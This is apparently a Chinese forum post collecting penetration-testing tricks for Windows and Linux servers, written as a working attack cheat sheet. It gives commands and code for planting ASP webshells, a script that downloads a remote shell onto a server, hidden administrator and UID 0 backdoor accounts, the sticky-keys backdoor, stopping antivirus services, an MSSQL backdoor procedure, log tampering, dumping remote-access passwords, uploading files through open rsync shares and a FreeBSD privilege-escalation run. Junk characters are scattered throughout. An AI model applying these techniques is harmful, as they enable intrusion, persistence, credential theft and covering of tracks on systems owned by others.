渗透技巧总结

admin

旁站路径问题
( n, T5 B) ?& {9 t& B9 [1、读网站配置。
2、用以下VBS
On Error Resume Next
3 q. n3 y+ g/ f- O/ a0 o6 fIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
, l2 ]6 l9 r& [* w# `        
7 F- J1 I; }" b  N8 N+ B; Y
* G9 B4 o$ f1 [9 t& A$ i3 DMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
6 G& B6 T9 }# z2 ]7 J  N0 [% f
5 y5 P5 {/ ^6 v6 u( }8 P4 ^Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

( U) X5 R; a# a% a5 [$ ?" p& `Then
# @4 n2 X" T1 G$ x+ h1 z                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
1 B3 A, X4 U; p  v( E         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
- h2 V9 D: Y4 @$ r9 n
4 y. t8 f2 n+ x8 e+ f$ e+ o<> 0 Then WScript.Quit (1)
/ Q% q* Q" W5 f+ K3 ]                WScript.Echo Chr(10) & "[" &
( F7 g! e  d% r2 w) `% @2 t
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
- Y0 ^& r& Z. V     

3 b3 E: U/ a9 A* _8 U% q                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
% c2 o% U; p5 m  Z) J0 m      
( r# H4 P+ N: H: l
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
1 E# Z# y( O, Q3 v5 e复制代码
  x( O: f% [) ~! L. M4 g2 G( u4 H( K% J3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
* e" V9 h) h% Y& c" m1 ^, b—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
* j* z! v0 m3 ?url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
3 b2 v1 \: s0 Y" _" X) aphpMyAdmin/darkblue_orange/layout.inc.php
% j( h/ ?  ]0 {phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
: {0 i0 O7 \3 L# M3 ^网站可能目录(注：一般是虚拟主机类）
# l- i, @  c# Idata/htdocs.网站/网站/
————————————————————
, c% z" g% s0 gCMD下操作VPN相关
6 I: v2 S0 b' {# e+ W  `7 tnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
& u1 ~5 i7 @! t% h% ^, j, Z) Enetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
- ^$ o0 [, |8 V& j' U9 s) ^6 A) {9 p$ k命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
3 ^$ C6 D$ t! I$ Y* yexec master.dbo.sp_addlogin test,123
8 {' U+ k' F7 Q" W  BEXEC sp_addsrvrolemember 'test, 'sysadmin'
  ]0 b- C0 K6 I5 F6 I1 d然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
  `! |* \8 D% H
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
6 g: I1 i0 [2 W7 f+ v+ ~2 Tvar o=new ActiveXObject( "Shell.Users" );
- w1 E# F& ^  D- M2 vz=o.create("test") ;
5 t# c& I# ^0 L, A% |z.changePassword("123456","")
" b& j6 `, P4 h+ `. vz.setting("AccountType")=3;
/ R/ ?& M" M9 `0 \+ H2 x+ [; n
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
( K; B0 w# v) E2 g) Uz.setting("AccountType")=3
——————————————————
! K# m/ M/ R: c% S; [cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

) j5 b3 i: M2 u, Z) g命令如下
( P$ @& g% S. A/ q4 Y. Qcacls c: /e /t /g everyone:F           #c盘everyone权限
/ a) |( [( U+ G0 ]5 Z0 dcacls "目录" /d everyone               #everyone不可读，包括admin
, G2 m- e  F& O' y& A————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
4 z/ ^$ ^6 v8 @, d1 T" f  T2 D" cb、内网环境（LCX）
( N, y! V1 ~" ]  p9 l% Uc、终端服务器超出了最大允许连接
( r3 q: B8 ~. ]) Z  wXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
1 |) z* n; F0 m8 m7 i' Knet stop "Symantec AntiVirus" /y
. I  r8 Q0 z+ G% `' I9 Y/ Snet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
5 |7 h4 |+ o+ }! S: X# _net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
5 `2 m7 O! A5 H* @7 e, E* H5 ~
卖咖啡：net stop "McAfee McShield"
; ^2 F! v! [  j0 J; a5 h& ]! J# g————————————————————

& s' x. g1 w- B& {7 K9 Q: n  I5 u8 [( `5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
* z# X. ^# X9 @! z$ R& Kcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
' F( {( F' y9 c1 V5 Q9 M——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
" c- R* a. a& y) e- T/ {4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
  y* u) @3 S* A* RUSE master;
* Q" Q8 f4 e) @" y5 D0 VEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
* }; p$ E. @; U0 m) ]3 O, oC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
- X7 g) k' P: mex011120.log / ex011121.log / ex011124.log三个文件，
8 i8 Q0 I1 ~6 ?0 K7 F直接删除 ex0111124.log
: _6 i$ w: X0 Z3 ]0 p/ v不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
, k9 [  U/ H( T3 b3 n4 ]& |用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
& z  n0 q( Q4 Y' `7 {MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
# F2 s/ P& X8 P: S4 v找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
* ?* \/ h% l7 b
+ r* Q* n$ {8 V0 k0 G' qServer\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

  K9 B2 ~% O; c+ ~% }- j# T<%
7 v: f' {9 J, M  Q( V, ^+ DSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
# G1 ~) c0 n, x+ Q! e9 i7 `- V3 dDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
9 [  p  D0 g2 a/ e6 q5 Q7 }With Retrieval
' b1 ~$ o; k  _% h.Open "Get", s_RemoteFileUrl, False, "", ""
8 m8 Z" O) m( k- q.Send
GetRemoteData = .ResponseBody
/ V& l+ \4 y0 x* R! lEnd With
Set Retrieval = Nothing
( `7 Z5 N! u0 \1 e# Y7 uSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
% T5 h( b+ w# _6 Q. s8 o0 h) r& G.Open
& @& e! N, ]7 N2 k.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
5 ~1 U, y* t$ _  n3 jEnd With
) V# |# M8 ~2 E. |" }; HSet Ads=nothing
4 A/ g- `5 j7 m1 fEnd Sub
# f3 i1 W5 H) k1 c9 T3 D# {
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
/ k! P' s! T$ K%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
4 k, S+ T; i; ~- O% f: y3 p( k如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
- b. A' s0 q8 @3 B$ a6 b) |+ e  y' `保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
6 U% S. |9 F3 n. G. R——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
8 ^  o3 v, d) i没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
: m; \! S  ~+ I0 U
2 i" u7 d( S% D( s1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
/ o  w  U- x3 {. m9 ~* ^1 M. SstrSQLDBPassword = "数据库密码"
2 F3 U7 w, e$ j/ Y1 a) HstrSQLDBName = "数据库名称"
% p) {& O- f6 R, @( OSet conn = Server.createObject("ADODB.Connection")
; Q% U3 M4 y6 Y# p- y4 d( _strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
- x" l8 n/ p2 }. E# f
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
8 V" l2 S) ^& xconn.open strCon
dim rs,strSQL,id
6 _) a% u  N1 F* k5 f2 x- tset rs=server.createobject("ADODB.recordset")
id = request("id")
* [! u& v; i( r8 m1 ?- x- U1 cstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
' X$ U4 M2 e& x/ J  drs.close
%>
4 z" Q) |: ]) x* M3 K/ A复制代码
9 w  a6 s* _% e( m- Y4 }' z7 Q******liunx 相关******
一.ldap渗透技巧
7 w* {1 X1 y" V. k4 y* t1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

& e  S+ X. _- |" B2.less /etc/ldap.conf
: c8 d3 o" G. Q, J& j7 m, obase ou=People,dc=unix-center,dc=net
2 H+ Z& h$ d6 d6 B2 ~找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

4 T9 A$ Z1 C8 A' G/ P"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
( S" D2 R4 O  f. r7 V8 I) Eldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ e( v+ P# q3 Z0 }"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 p& H" B& x3 x+ n3 k$ P* s

4.查找10条用户记录
5 f3 g% `' U0 w$ i7 ]; \ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

+ O( P3 q" i4 N, y& i1 a6 g实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
6 y" B4 E: L# d! v9 W; x
# o8 [& ?- T: ?' h" U+ a$ U2.less /etc/ldap.conf
  q, e& J) `! O0 r* J" {6 nbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
1 E2 [2 z; ^$ Y! m  }
3.查找管理员信息
$ s6 o8 s7 L/ h4 T( z5 g% _7 [匿名方式
) \! Y9 f$ Z5 j; v) dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 m, X6 S! S% g; X3 d% f% E
2 w$ S0 Y0 |% K1 A"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
3 r0 y; @) H. B7 o$ Wldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
0 W0 w* b( l* ]+ ^; V: F
渗透实战:
; T# w! H& q) ^) m; h1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
7 A0 m# L: x+ r( k+ j3 Jdn: dc=ruc,dc=edu,dc=cn
dc: ruc
# O- H  q9 l6 _( Q# S; FobjectClass: domain
' F1 ^% y5 C- t+ y) o4 `4 o& h
  Y( L2 l; F! T( g) Tdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
2 D7 Q+ P1 w$ A) s6 RobjectClass: organizationalPerson
objectClass: person
8 d+ y/ ?6 V% uobjectClass: top
- |) Z! c5 T' T/ rsn: manager
cn: manager
* L# @, R: i* w2 Z: ?: P
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
1 o3 \/ G6 I2 W8 Q" d: \objectClass: inetOrgPerson
objectClass: organizationalPerson
. V1 V  R: \2 h, b3 C7 {objectClass: person
: T$ n/ d6 E: P5 q  j, H+ V7 nobjectClass: top
9 a* h7 v& x' j8 M2 J. S2 rsn: superadmin
cn: superadmin
. l6 ]9 s' @+ L' K5 @8 }4 q+ N
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
( _! G/ ^1 Z. p" y, D  @objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
3 |, E6 A- J' {- iobjectClass: top
5 n6 }1 V; _- q4 ]% z9 Qsn: admin
$ n3 p0 c- N: K7 v) F  ?/ z) Xcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
# K8 X6 a2 K% ]% Z' Duid: dcp_anonymous
( c- K, a" u& ~1 h- @! vobjectClass: top
objectClass: person
$ v' h/ O( I5 V7 lobjectClass: organizationalPerson
" x8 F! o! [3 _5 R/ [objectClass: inetOrgPerson
sn: dcp_anonymous
0 z2 e$ k  F( l3 {( |4 X  q) Gcn: dcp_anonymous

% H- y; t* [7 [8 E  G5 B2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
$ O' ]) y( q3 l4 Y6 p' W  p
' x7 G% m* h7 O2 m6 C) K! Emore
version: 1
dn: dc=ruc,dc=edu,dc=cn
- u9 o1 L8 ?  G) i4 j) J+ U& \9 h- Cdc: ruc
objectClass: domain
0 ]% ~/ @) [. Z; D; V" J( E9 e
& z. [4 i" K' D) K1 C  E2 C0 N3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
* f/ Q& P5 k. N3 [0 Odn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
# ~! X* C, ^2 ~7 f. CsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
" n& U1 v( }" n; V1 C/ a& t4 ]1 ksupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
' d- F' m& g, l' psupportedExtension: 2.16.840.1.113730.3.5.3
9 s7 \1 l7 {+ j, _/ O3 z) E$ CsupportedExtension: 2.16.840.1.113730.3.5.5
% |7 h% N# X/ l2 [5 o' OsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
& M" `9 k3 _- v5 BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
% |2 r, I; g; t, s, G/ f( r/ _; K9 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
* Y" c& V: r6 `; C% F6 e  fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
3 r6 l' N  A8 O9 r4 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
6 m! o  {0 `6 \, T1 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
% Z9 j  c5 I$ J  V# BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
3 c, R% T! n) d0 F! HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
/ w7 [6 Z, \7 W+ E- \5 _+ A5 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
  d* J! y* O$ Q, F0 R' S! v! zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
0 R/ E8 D1 v: w! [* GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
$ l8 P7 O, P3 _$ ^4 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
# H7 r* J' n2 BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, Q4 H$ y0 t- e3 ssupportedExtension: 1.3.6.1.4.1.1466.20037
8 ]; I+ _# N" \# A+ P6 ?8 E- k5 Y5 PsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
2 V# O* p* ?  |! u1 }6 R: TsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
: B% `; k- n9 c0 E- KsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
( t2 y, n1 f+ f* R9 ~4 [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
% V+ a$ ?2 Q$ Y; z: TsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
' e7 v  X/ T) y2 ^supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
* z0 L; K! T8 dsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
) ^5 |5 c& \: CsupportedControl: 2.16.840.1.113730.3.4.14
( E6 h. y6 x  W3 F% zsupportedControl: 1.3.6.1.4.1.1466.29539.12
# b  N: T3 M, s2 p# esupportedControl: 2.16.840.1.113730.3.4.12
$ r" x. P# s: m! T% Z: d/ FsupportedControl: 2.16.840.1.113730.3.4.18
9 U, b# \& d9 H; E: b% k1 usupportedControl: 2.16.840.1.113730.3.4.13
5 G* ~0 g' b3 C8 w, D) S6 `supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
! s' W4 ?5 p5 s& J1 N2 psupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
) z" c" c2 \5 ivendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
4 b' n6 F% J/ T2 Y) knetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
( E( E& _& B0 o) b1 }* @' b1 TsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
" G$ a! t7 X1 O) Z2 M# h& k* d# i9 BsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
; o3 e% {7 K( _4 N, SsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
7 t% r/ ]  N% m; i! [+ p9 e$ UsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
9 j4 |) C+ Q, q! m& ^5 d7 {supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+ `$ _2 A* x3 D$ r, ysupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
% P; F1 N% }! XsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
; ^4 X/ t4 X5 J) h+ N9 \" KsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
( s; e, ~3 R& A9 ^supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
# }3 s) |% q, ^2 |; M- RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
. W# a9 e, t% c9 l3 W. K* B: `supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
5 O2 u& O9 X/ a+ b5 q" ysupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
- F- H. y( A8 N. ?- G$ I8 wsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
" V% c8 R& O1 q% gsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
. R: O+ ?& B8 U; e; x# _' wsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
6 N6 G3 i9 q' d' T# z. @supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
  Q; b" K, b# P: Y2 |1 psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
) [5 J6 n" Y# L+ \9 ~3 t9 a9 B3 bsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
, M8 m7 f& D" D3 X0 H) v/ [" G& fsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
) {) b) G8 r; M0 v3 T9 w; f- XsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
5 h0 Q  ?  s/ O& j2 M- ~" bsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
7 }/ d6 G! D% o* \* O) |( p6 NsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
# S" ]( @& ?# u& {/ y, C. B/ vsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
9 ~! K' `3 k3 {( A7 }2. NFS渗透技巧
showmount -e ip
列举IP
; b8 l3 Y  o' h$ j% H——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
  l# S9 a4 O1 U' [0 Hrsync 210.51.X.X::
4 C; |3 L6 U9 a; |2 Kfinance
: R! w- \7 x  E) `, t- C. M- eimg_finance
9 W( n6 n( f; A+ a) Kauto
* @0 U4 Y! N- S  B8 ]9 W7 ]/ A1 {img_auto
: A5 y( g3 Z7 q  vhtml_cms
img_cms
+ C7 k! D3 O8 P! _; E: ^ent_cms
ent_img
ceshi
2 R; J  _+ G3 [" lres_img
res_img_c2
+ X% W+ d& K3 Z$ `chip
chip_c2
ent_icms
games
gamesimg
9 [! I6 h' r' x- A& Vmedia
1 `4 C3 w; {, M' t  f! ], ^$ ]mediaimg
fashion
! N, L. o. a2 J1 ^" x! y& c/ f9 kres-fashion
7 [& t, [0 ]5 yres-fo
taobao-home
res-taobao-home
4 l+ [0 }7 G9 y0 D. z( qhouse
4 _* e1 l- i. G: G) ~res-house
res-home
res-edu
7 ]# h. O# s# ], \) G! w. Hres-ent
! `8 {9 v, q! z& }8 Fres-labs
res-news
/ A5 E; Q* r( N- H4 F$ cres-phtv
res-media
home
9 n4 ?) g$ s( q8 I; p1 H5 U2 P1 Cedu
( Y5 y3 ~- t2 \6 Xnews
( [8 [4 P- Q  ]; P0 Fres-book

看相应的下级目录(注意一定要在目录后面添加上/)
3 e2 \) i; G: c6 p1 r3 `

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
& L) V6 u! G2 K  H# A" Z# m+ |rsync 210.51.X.X::edu/
# l  m. v( A- Y- \9 |" _- o+ a- {
2.下载rsync服务器上的配置文件
* J5 B1 p" K3 O; T, crsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

8 ~2 V5 `. B4 G" D  {8 G8 `+ N3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
& u& [% Y! E: l9 z1 P
* |9 K1 B: Y  ]" @  b四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
  l- V2 Y, Z) q+ A( ^% q( ^9 hGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
3 J& ~3 ^6 h9 M4 `/ @. _2 }5 Kssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
" e% Q3 c3 W# @# |! z+ _
六.joomla渗透小技巧
确定版本
6 p! B! ]. x) ]* Uindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
+ v" s, q5 k/ D3 ?4 n* U6 Y6 h
15&catid=32:languages&Itemid=47
) R1 r6 r% J* X* n
5 n& F& E. \' K5 u+ m+ W重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
  T- g0 D- h. f0 {useradd -o -u 0 nothack

- L& a: s8 N" s  ^8 }7 s) u八.freebsd本地提权
) r9 ~! u, W8 Y- }% a[argp@julius ~]$ uname -rsi
: A1 s* U! b( _# D3 C: H2 ]& i* freebsd 7.3-RELEASE GENERIC
1 @2 l. H- s0 ]$ A8 e9 l* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
$ C. S4 O" p5 n0 m* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
5 l* S, k" T4 H  v5 }4 h2 _+ M* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

